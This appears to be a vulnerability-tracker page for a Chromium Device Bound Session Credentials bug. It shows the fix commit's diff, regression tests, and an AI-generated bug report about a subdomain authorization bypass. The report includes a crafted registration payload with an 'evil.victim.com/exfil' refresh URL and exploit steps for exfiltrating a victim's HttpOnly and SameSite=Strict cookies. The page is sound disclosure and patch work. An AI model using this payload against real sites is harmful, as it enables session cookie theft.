Medium chrome Logic Error 📄 Reporter bug report 🔧 Commit mapped

Overview

Medium
Severity
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactInsufficient validation of untrusted input in DeviceBoundSessionCredentials
DescriptionInsufficient validation of untrusted input in DeviceBoundSessionCredentials
ComponentDeviceBoundSessionCredentials
Bug ClassLogic Error
Tracker511738175
Fix commite1632d017cce (chromium/src) +194/-11
CISA KEVNot listed
CreditedGoogle
Disclosed2026-06-30

Changed Functions

FunctionChangeNotes
TEST_F
net/device_bound_sessions/registration_fetcher_unittest.cc
modified
if
net/device_bound_sessions/registration_fetcher_unittest.cc
modified

Files Changed

  • content/browser/devtools/protocol/network_handler.cc
  • net/device_bound_sessions/registration_fetcher.cc
  • net/device_bound_sessions/registration_fetcher_unittest.cc
From e1632d017cce0cb2b4b2d8ef42c40b5b856a7b2d Mon Sep 17 00:00:00 2001
From: Jan Wilken Dörrie <jdoerrie@chromium.org>
Date: Wed, 27 May 2026 00:55:28 -0700
Subject: [PATCH] [dbsc] Enforce strict cross-origin registration validation

This change improves registration validation for Device Bound Session
Credentials (DBSC) to prevent unauthorized session scoping. It ensures
that cross-origin registration requests are consistently subject to
authorization checks.

Previously, a rogue subdomain could bypass the mandatory .well-known
authorization check for another origin on the same site by setting
include_site to false in the registration instructions. This allowed for
cross-origin cookie exfiltration.

We now require all cross-origin registrations to explicitly set
include_site to true. This ensures the subdomain authorization check is
triggered whenever the registration endpoint and session scope hosts
differ.

Key modifications:

- Enforce include_site for cross-origin registrations in Session.
- Introduce kCrossOriginRegistrationSiteNotIncluded error type.
- Ensure RegistrationFetcher uses the final URL after redirects for
  origin validation.
- Update DevTools, Mojo, and histograms to support the new error.

Bug: 511738175
Change-Id: Iabe6fd0058b21db63eb8c8b7a73dbd636a6a6964
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/7849922
Commit-Queue: Jan Wilken Dörrie <jdoerrie@chromium.org>
Reviewed-by: Elly <ellyjones@chromium.org>
Reviewed-by: Alex Rudenko <alexrudenko@chromium.org>
Reviewed-by: Alex Ilin <alexilin@chromium.org>
Cr-Commit-Position: refs/heads/main@{#1636746}
---

diff --git a/content/browser/devtools/protocol/network_handler.cc b/content/browser/devtools/protocol/network_handler.cc
index 9e66420..a6c22d6c 100644
--- a/content/browser/devtools/protocol/network_handler.cc
+++ b/content/browser/devtools/protocol/network_handler.cc
@@ -2160,6 +2160,10 @@
         kSessionDeletedDuringRefresh:
       return protocol::Network::DeviceBoundSessionFetchResultEnum::
           SessionDeletedDuringRefresh;
+    case net::device_bound_sessions::SessionError::ErrorType::
+        kCrossOriginRegistrationSiteNotIncluded:
+      return protocol::Network::DeviceBoundSessionFetchResultEnum::
+          CrossOriginRegistrationSiteNotIncluded;
   }
 }
 
diff --git a/net/device_bound_sessions/registration_fetcher.cc b/net/device_bound_sessions/registration_fetcher.cc
index 61a16ebf..59a148dc 100644
--- a/net/device_bound_sessions/registration_fetcher.cc
+++ b/net/device_bound_sessions/registration_fetcher.cc
@@ -670,8 +670,12 @@
       }
     }
 
+    // Use the final URL after redirects for validation checks to ensure we
+    // validate the origin that actually served the response.
+    GURL final_registration_url = url_fetcher_->request().url();
+
     base::expected<SessionParams, SessionError> params_or_error =
-        ParseSessionInstructionJson(url_fetcher_->request().url(), *key_id_,
+        ParseSessionInstructionJson(final_registration_url, *key_id_,
                                     session_identifier_,
                                     url_fetcher_->data_received());
     if (!params_or_error.has_value()) {
@@ -681,8 +685,9 @@
       return;
     }
 
+    const SessionParams& params = *params_or_error;
     base::expected<std::unique_ptr<Session>, SessionError> session_or_error =
-        Session::CreateIfValid(params_or_error.value());
+        Session::CreateIfValid(params);
     if (!session_or_error.has_value()) {
       RunCallback(
           CreateErrorRegistrationResult(std::move(session_or_error).error()));
@@ -691,10 +696,6 @@
     }
     std::unique_ptr<Session> session = std::move(*session_or_error);
 
-    // Use the final URL after redirects for validation checks to ensure we
-    // validate the origin that actually served the response.
-    GURL final_registration_url = url_fetcher_->request().url();
-
     // Re-process challenge headers now that a session exists so that cached
     // challenges work for the registration case as well.
     auto challenge_params =
@@ -728,11 +729,15 @@
     }
 
     // Session::CreateIfValid confirms that the registration endpoint is
-    // same-site with the scope origin. But we still need to validate
-    // that this subdomain is allowed to register a session for the
-    // whole site.
+    // same-site with the scope origin and allowed to register a session for the
+    // scope origin. But for cross-origin same-site registrations, we still need
+    // to validate that this subdomain is allowed to register a session for the
+    // scope origin via a .well-known check.
     if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
-        !IsForRefreshRequest() && params_or_error->scope.include_site &&
+        !IsForRefreshRequest() && params.scope.include_site &&
+        // We compare hosts rather than origins here because the DBSC spec
+        // (https://w3c.github.io/webappsec-dbsc/#algo-create-session) defines
+        // the scope of .well-known files to be the host.
         // Skip all validations if the fetcher endpoint is not a subdomain but
         // rather the top-level site (which matches the origin when including
         // the site).
diff --git a/net/device_bound_sessions/registration_fetcher_unittest.cc b/net/device_bound_sessions/registration_fetcher_unittest.cc
index 97c8355a..7abaf5f 100644
--- a/net/device_bound_sessions/registration_fetcher_unittest.cc
+++ b/net/device_bound_sessions/registration_fetcher_unittest.cc
@@ -95,6 +95,27 @@
   }]
 })";
 
+constexpr char kSubdomainValidJsonIncludeSiteFalse[] =
+    R"({
+  "session_identifier": "session_id",
+  "refresh_url": "/refresh",
+  "scope": {
+    "origin": "https://a.test",
+    "include_site": false,
+    "scope_specification" : [
+      {
+        "type": "include",
+        "path": "/only_trusted_path"
+      }
+    ]
+  },
+  "credentials": [{
+    "type": "cookie",
+    "name": "auth_cookie",
+    "attributes": "Domain=a.test; Path=/; Secure; SameSite=None"
+  }]
+})";
+
 constexpr char kSessionIdentifier[] = "session_id";
 constexpr char kRedirectPath[] = "/redirect";
 constexpr char kChallenge[] = "test_challenge";
@@ -1528,6 +1549,69 @@
   callback.outcome().SessionForTesting();
 }
 
+TEST_F(RegistrationTest, Registration_RedirectToCrossOrigin_Fails) {
+  crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
+  bool followed = false;
+  server_.RegisterRequestHandler(base::BindLambdaForTesting(
+      [&](const test_server::HttpRequest& request)
+          -> std::unique_ptr<test_server::HttpResponse> {
+        if (request.relative_url == "/") {
+          auto response = std::make_unique<test_server::BasicHttpResponse>();
+          response->set_code(HTTP_FOUND);
+          response->AddCustomHeader(
+              "Location",
+              server_.GetURL("subdomain.a.test", "/redirect_dest").spec());
+          response->set_content("Redirected");
+          response->set_content_type("text/plain");
+          return response;
+        }
+        if (request.relative_url == "/redirect_dest") {
+          followed = true;
+          return ReturnResponse(HTTP_OK, R"json(
+            {
+              "session_identifier": "session_id",
+              "credentials": [
+                {
+                  "type": "cookie",
+                  "name": "auth_cookie",
+                  "attributes": "Domain=.a.test; Path=/; Secure; SameSite=None"
+                }
+              ],
+              "scope": {
+                "origin": "https://a.test",
+                "include_site": false
+              }
+            }
+          )json",
+                                request);
+        }
+        return nullptr;
+      }));
+
+  server_.SetSSLConfig(EmbeddedTestServer::CERT_TEST_NAMES);
+  ASSERT_TRUE(server_.Start());
+
+  RecordingNetLogObserver net_log_observer;
+  TestRegistrationCallback callback;
+
+  RegistrationRequestParam param = GetBasicParam(server_.GetURL("a.test", "/"));
+  std::unique_ptr<RegistrationFetcher> fetcher =
+      RegistrationFetcher::CreateFetcher(
+          param, session_service(), unexportable_key_service(), context_.get(),
+          IsolationInfo::CreateTransient(/*nonce=*/std::nullopt),
+          /*net_log_source=*/std::nullopt,
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/net/device_bound_sessions/registration_fetcher_unittest.cc b/net/device_bound_sessions/registration_fetcher_unittest.cc
index 97c8355a..7abaf5f 100644
--- a/net/device_bound_sessions/registration_fetcher_unittest.cc
+++ b/net/device_bound_sessions/registration_fetcher_unittest.cc
@@ -95,6 +95,27 @@
   }]
 })";
 
+constexpr char kSubdomainValidJsonIncludeSiteFalse[] =
+    R"({
+  "session_identifier": "session_id",
+  "refresh_url": "/refresh",
+  "scope": {
+    "origin": "https://a.test",
+    "include_site": false,
+    "scope_specification" : [
+      {
+        "type": "include",
+        "path": "/only_trusted_path"
+      }
+    ]
+  },
+  "credentials": [{
+    "type": "cookie",
+    "name": "auth_cookie",
+    "attributes": "Domain=a.test; Path=/; Secure; SameSite=None"
+  }]
+})";
+
 constexpr char kSessionIdentifier[] = "session_id";
 constexpr char kRedirectPath[] = "/redirect";
 constexpr char kChallenge[] = "test_challenge";
@@ -1528,6 +1549,69 @@
   callback.outcome().SessionForTesting();
 }
 
+TEST_F(RegistrationTest, Registration_RedirectToCrossOrigin_Fails) {
+  crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
+  bool followed = false;
+  server_.RegisterRequestHandler(base::BindLambdaForTesting(
+      [&](const test_server::HttpRequest& request)
+          -> std::unique_ptr<test_server::HttpResponse> {
+        if (request.relative_url == "/") {
+          auto response = std::make_unique<test_server::BasicHttpResponse>();
+          response->set_code(HTTP_FOUND);
+          response->AddCustomHeader(
+              "Location",
+              server_.GetURL("subdomain.a.test", "/redirect_dest").spec());
+          response->set_content("Redirected");
+          response->set_content_type("text/plain");
+          return response;
+        }
+        if (request.relative_url == "/redirect_dest") {
+          followed = true;
+          return ReturnResponse(HTTP_OK, R"json(
+            {
+              "session_identifier": "session_id",
+              "credentials": [
+                {
+                  "type": "cookie",
+                  "name": "auth_cookie",
+                  "attributes": "Domain=.a.test; Path=/; Secure; SameSite=None"
+                }
+              ],
+              "scope": {
+                "origin": "https://a.test",
+                "include_site": false
+              }
+            }
+          )json",
+                                request);
+        }
+        return nullptr;
+      }));
+
+  server_.SetSSLConfig(EmbeddedTestServer::CERT_TEST_NAMES);
+  ASSERT_TRUE(server_.Start());
+
+  RecordingNetLogObserver net_log_observer;
+  TestRegistrationCallback callback;
+
+  RegistrationRequestParam param = GetBasicParam(server_.GetURL("a.test", "/"));
+  std::unique_ptr<RegistrationFetcher> fetcher =
+      RegistrationFetcher::CreateFetcher(
+          param, session_service(), unexportable_key_service(), context_.get(),
+          IsolationInfo::CreateTransient(/*nonce=*/std::nullopt),
+          /*net_log_source=*/std::nullopt,
+          /*original_request_initiator=*/std::nullopt,
+          unexportable_keys::BackgroundTaskPriority::kBestEffort);
+  fetcher->StartCreateTokenAndFetch(param, CreateAlgArray(),
+                                    callback.callback());
+
+  callback.WaitForCall();
+
+  EXPECT_TRUE(followed);
+  EXPECT_EQ(callback.outcome().SessionErrorForTesting()->type,
+            SessionError::kCrossOriginRegistrationSiteNotIncluded);
+}
+
 TEST_F(RegistrationTest, FailOnSslErrorExpired) {
   crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
   server_.RegisterRequestHandler(
@@ -2652,6 +2736,35 @@
             SessionError::kSubdomainRegistrationUnauthorized);
 }
 
+TEST_F(RegistrationTest, RegistrationBySubdomain_IncludeSiteFalse_Fails) {
+  crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
+
+  server_.RegisterRequestHandler(base::BindRepeating(
+      &ReturnResponse, HTTP_OK, kSubdomainValidJsonIncludeSiteFalse));
+  ASSERT_TRUE(server_.Start());
+
+  GURL registration_url = server_.GetURL("subdomain.a.test", "/");
+
+  RecordingNetLogObserver net_log_observer;
+  TestRegistrationCallback callback;
+
+  auto param = GetBasicParam(registration_url);
+  std::unique_ptr<RegistrationFetcher> fetcher =
+      RegistrationFetcher::CreateFetcher(
+          param, session_service(), unexportable_key_service(), context_.get(),
+          IsolationInfo::CreateTransient(/*nonce=*/std::nullopt),
+          /*net_log_source=*/std::nullopt,
+          /*original_request_initiator=*/std::nullopt,
+          unexportable_keys::BackgroundTaskPriority::kBestEffort);
+  fetcher->StartCreateTokenAndFetch(param, CreateAlgArray(),
+                                    callback.callback());
+  callback.WaitForCall();
+  const RegistrationResult& out_session = callback.outcome();
+  ASSERT_NE(out_session.SessionErrorForTesting(), nullptr);
+  EXPECT_EQ(out_session.SessionErrorForTesting()->type,
+            SessionError::kCrossOriginRegistrationSiteNotIncluded);
+}
+
 TEST_F(RegistrationTest, RegistrationBySubdomain_MultipleAllowed) {
   crypto::ScopedFakeUnexportableKeyProvider scoped_fake_key_provider;
diff --git a/net/device_bound_sessions/session_store_impl_unittest.cc b/net/device_bound_sessions/session_store_impl_unittest.cc
index 16343f57..17e88256 100644
--- a/net/device_bound_sessions/session_store_impl_unittest.cc
+++ b/net/device_bound_sessions/session_store_impl_unittest.cc
@@ -39,6 +39,7 @@
 #include "testing/gmock/include/gmock/gmock.h"
 #include "testing/gtest/include/gtest/gtest.h"
 #include "url/gurl.h"
+#include "url/origin.h"
 
 namespace net::device_bound_sessions {
 
@@ -94,6 +95,12 @@
     std::string_view origin = "https://foo.test") {
   SessionParams::Scope scope;
   scope.origin = origin;
+  if (url::Origin::Create(GURL(url_string)) !=
+      url::Origin::Create(GURL(origin))) {
+    // Cross-origin mock sessions must specify include_site = true to pass
+    // validation.
+    scope.include_site = true;
+  }
   std::string cookie_attr = "Secure; Domain=" + GURL(url_string).GetHost();
   std::vector<SessionParams::Credential> cookie_credentials(
       {SessionParams::Credential{"test_cookie", cookie_attr}});
diff --git a/net/device_bound_sessions/session_unittest.cc b/net/device_bound_sessions/session_unittest.cc
index 598fd5d..2c52d23 100644
--- a/net/device_bound_sessions/session_unittest.cc
+++ b/net/device_bound_sessions/session_unittest.cc
@@ -548,6 +548,7 @@
 TEST_F(SessionTest, DeferredNarrowerScopeOrigin) {
   auto params = CreateValidParams();
   params.scope.origin = "https://sub.example.test";
+  params.fetcher_url = GURL("https://sub.example.test/index.html");
   ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
                        Session::CreateIfValid(params));
   ASSERT_TRUE(session);
@@ -573,6 +574,7 @@
 TEST_F(SessionTest, NotDeferredNarrowerScopeOrigin) {
   auto params = CreateValidParams();
   params.scope.origin = "https://sub.example.test";
+  params.fetcher_url = GURL("https://sub.example.test/index.html");
   ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
                        Session::CreateIfValid(params));
   ASSERT_TRUE(session);
@@ -1121,6 +1123,36 @@
       initiator_rule, GURL("https://some-other-example.test").GetHost()));
 }
 
+TEST_F(SessionTest, CreateIfValid_SameOrigin_IncludeSiteFalse) {
+  auto params = CreateValidParams();
+  params.scope.origin = "https://example.test";
+  params.fetcher_url = GURL("https://example.test/index.html");
+  params.scope.include_site = false;
+  ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
+                       Session::CreateIfValid(params));
+  ASSERT_TRUE(session);
+}
+
+TEST_F(SessionTest, CreateIfValid_CrossOrigin_IncludeSiteTrue) {
+  auto params = CreateValidParams();
+  params.scope.origin = "https://example.test";
+  params.fetcher_url = GURL("https://sub.example.test/index.html");
+  params.scope.include_site = true;
+  ASSERT_OK_AND_ASSIGN(std::unique_ptr<Session> session,
+                       Session::CreateIfValid(params));
+  ASSERT_TRUE(session);
+}
+
+TEST_F(SessionTest, CreateIfValid_CrossOrigin_IncludeSiteFalse) {
+  auto params = CreateValidParams();
+  params.scope.origin = "https://example.test";
+  params.fetcher_url = GURL("https://sub.example.test/index.html");
+  params.scope.include_site = false;
+  EXPECT_THAT(Session::CreateIfValid(params),
+              ErrorIs(MatchesErrorType(
+                  SessionError::kCrossOriginRegistrationSiteNotIncluded)));
+}
+
 TEST_F(SessionTest, InvalidRefreshInitiators) {
   auto params = CreateValidParams();
   params.allowed_refresh_initiators = {"star.in.middle.*.of.example.test"};
Loading diff…

Original Bug Report

reported by vm...@google.com

DBSC subdomain authorization bypass via include_site=false and scope.origin spoofing

Project Fortify, an experimental security project, has identified the following potential security issue. If you’re a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.

Overview: A potential logic flaw in Device Bound Session Credentials (DBSC) allows a rogue subdomain to bypass the .well-known authorization check by setting include_site to false in the registration JSON. This enables an attacker to register a session for another origin on the same site, which can then be exploited for cross-origin cookie exfiltration.

Affected files:

  • net/device_bound_sessions/registration_fetcher.cc
  • net/device_bound_sessions/session.cc
  • net/device_bound_sessions/session_service_impl.cc
  • net/device_bound_sessions/session_inclusion_rules.cc
  • net/device_bound_sessions/cookie_craving.cc

Estimated timestamp from git blame: 2026-02-20

Summary

A potential vulnerability exists in the DBSC (Device Bound Session Credentials) registration process where the .well-known authorization check can be bypassed. An attacker controlling a subdomain (e.g., evil.victim.com) can register a session scoped to a different origin on the same site (e.g., login.victim.com) by setting include_site to false in the registration JSON. This bypasses the mandatory authorization check intended to prevent rogue subdomains from hijacking or tampering with sessions of other subdomains.

Technical Details

1. The .well-known Bypass

The DBSC implementation includes a check in net/device_bound_sessions/registration_fetcher.cc to ensure that subdomains are authorized to register sessions for their parent site or other origins. This check is performed by fetching a .well-known file from the target origin. However, the logic currently gates this check on the include_site parameter being true:

// From net/device_bound_sessions/registration_fetcher.cc
if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
    !IsForRefreshRequest() && params_or_error->scope.include_site &&
    fetcher_endpoint_.GetHost() != session->origin().host()) {
  // Perform .well-known check...
}

If an attacker’s registration payload sets "scope": {"include_site": false, "origin": "https://login.victim.com"}, the params_or_error->scope.include_site condition evaluates to false, and the .well-known check is skipped entirely, even though the fetcher (evil.victim.com) is on a different subdomain than the declared session origin.

2. Scope Origin Spoofing

Validation in net/device_bound_sessions/session.cc only requires that the scope.origin be same-site with the registration fetcher URL, rather than strictly same-origin:

// From net/device_bound_sessions/session.cc
if (net::SchemefulSite(scope_origin_as_url) !=
    net::SchemefulSite(params.fetcher_url)) {
  return base::unexpected(
      SessionError{SessionError::kScopeOriginSameSiteMismatch});
}

This allows evil.victim.com to specify https://login.victim.com as the session origin. When include_site is false, SessionInclusionRules::EvaluateRequestUrl will successfully match any request that is same-origin with this spoofed origin_ (i.e., login.victim.com).

An attacker can theoretically use this spoofed session to exfiltrate cookies. By setting a refresh_url pointing to the attacker’s subdomain and a CookieCraving for a nonexistent domain-wide cookie, the attacker can force the browser to trigger a refresh request when the victim navigates to login.victim.com.

When SessionServiceImpl::DeferRequestForRefresh identifies that the CookieCraving is unsatisfied, it defers the top-level navigation and initiates a refresh. The refresh request to evil.victim.com inherits the IsolationInfo from the deferred top-level navigation via ConfigureRequest in registration_fetcher.cc:

request.set_site_for_cookies(isolation_info_.site_for_cookies());

Since the deferred request was a top-level navigation to login.victim.com, the site_for_cookies is victim.com. A POST request to evil.victim.com with these settings results in a SameSite=Strict context, causing all Domain=.victim.com cookies—including those marked HttpOnly and SameSite=Strict—to be attached and sent to the attacker’s endpoint.

4. Silent DBSC Destruction

Additionally, because SessionServiceImpl::AddSession overwrites existing sessions in its internal map using a SessionKey comprised only of the SchemefulSite and SessionId, an attacker can specify a known legitimate session ID in their payload to silently overwrite and disable a victim’s legitimate DBSC session.

Potential Exploit Scenario

Note: These are theoretical steps; our tooling agent has not executed a working proof-of-concept.

  1. Environment: DBSC is enabled. The attacker controls a subdomain, e.g., evil.victim.com.
  2. Trigger Registration: The attacker serves a resource from evil.victim.com with the Sec-Session-Registration header to a visiting victim.
  3. Malicious Response: The attacker’s registration server returns a crafted JSON payload:
    {
      "session_identifier": "target_session_id",
      "scope": {"include_site": false, "origin": "https://login.victim.com"},
      "refresh_url": "https://evil.victim.com/exfil",
      "credentials": [{
        "type": "cookie",
        "name": "nonexistent_cookie",
        "attributes": "Domain=victim.com; Path=/; Secure"
      }]
    }
    
  4. Registration: The browser accepts the registration. The .well-known check is bypassed due to include_site being false. The scope.origin and refresh_url are accepted as they are same-site with the fetcher.
  5. Exfiltration: When the victim navigates to https://login.victim.com, the request is deferred due to the unsatisfied CookieCraving. A refresh POST is sent to https://evil.victim.com/exfil with the victim’s domain-wide cookies attached, including SameSite=Strict and HttpOnly cookies.

Suggested Fix

The bypass logic in RegistrationFetcherImpl::OnRequestComplete() should be updated to perform the .well-known check regardless of the include_site value, as long as the fetcher endpoint’s host differs from the scope origin’s host.

// Suggested modification in net/device_bound_sessions/registration_fetcher.cc
if (features::kDeviceBoundSessionsCheckSubdomainRegistration.Get() &&
    !IsForRefreshRequest() &&
    fetcher_endpoint_.GetHost() != session->origin().host()) {
  // Perform .well-known check...
}

Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955


Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.

View on issue tracker